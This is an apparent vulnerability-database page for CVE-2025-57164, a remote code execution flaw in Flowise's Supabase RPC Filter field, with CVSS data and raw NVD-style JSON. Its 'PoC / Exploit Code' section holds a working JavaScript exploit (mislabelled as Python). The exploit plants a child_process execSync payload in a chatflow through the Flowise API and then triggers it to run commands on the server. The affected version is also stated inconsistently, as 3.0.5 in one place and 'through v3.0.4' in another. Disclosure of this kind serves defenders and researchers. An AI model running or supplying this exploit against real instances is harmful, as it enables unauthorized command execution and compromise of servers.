Security Vulnerability Report
中文
CVE-2025-57164 CVSS 6.5 MEDIUM

CVE-2025-57164

Published: 2025-10-17 18:15:37
Last Modified: 2025-10-23 12:33:49

Description

Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the "Supabase RPC Filter" field.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:flowiseai:flowise:3.0.5:*:*:*:*:*:*:* - VULNERABLE
FlowiseAI Flowise <= v3.0.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-57164 PoC - Flowise Supabase RPC Filter RCE // Vulnerability: Unsanitized evaluation of user input in "Supabase RPC Filter" field // Affected: Flowise through v3.0.4 // Vulnerable file: packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237 const axios = require('axios'); // Target Flowise instance URL const TARGET_URL = 'http://target-flowise-instance:3000'; // Malicious payload to be injected into "Supabase RPC Filter" field // The payload executes arbitrary commands on the server via child_process const maliciousFilter = ` (function(){ const { execSync } = require('child_process'); const cmd = process.env.POC_CMD || 'id > /tmp/pwned.txt'; const output = execSync(cmd).toString(); return output; })() `; async function exploit() { try { // Step 1: Create or update a chatflow with malicious Supabase RPC Filter const chatflowPayload = { name: 'poc-chatflow', flowData: JSON.stringify({ nodes: [ { id: 'supabase_node_1', type: 'Supabase', data: { id: 'supabase_node_1', label: 'Supabase', name: 'supabase', inputs: { supabaseRpcFilter: maliciousFilter // Inject malicious code here } } } ], edges: [] }) }; // Step 2: Send the malicious chatflow to the target const response = await axios.post( `${TARGET_URL}/api/v1/chatflows`, chatflowPayload, { headers: { 'Content-Type': 'application/json' } } ); console.log('[+] Chatflow created:', response.data.id); // Step 3: Trigger the chatflow to execute the malicious filter const predictionResponse = await axios.post( `${TARGET_URL}/api/v1/chatflows/${response.data.id}/prediction`, { question: 'trigger' } ); console.log('[+] Prediction response:', predictionResponse.data); console.log('[+] RCE triggered successfully!'); } catch (error) { console.error('[-] Exploit failed:', error.message); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-57164", "sourceIdentifier": "[email protected]", "published": "2025-10-17T18:15:37.013", "lastModified": "2025-10-23T12:33:49.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flowise through v3.0.4 is vulnerable to remote code execution via unsanitized evaluation of user input in the \"Supabase RPC Filter\" field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flowiseai:flowise:3.0.5:*:*:*:*:*:*:*", "matchCriteriaId": "D5D151AD-7484-4BE3-B42F-7D0279B5E886"}]}]}], "references": [{"url": "https://github.com/FlowiseAI/Flowise", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/blob/main/packages/components/nodes/vectorstores/Supabase/Supabase.ts#L237", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-7944-7c6r-55vv", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}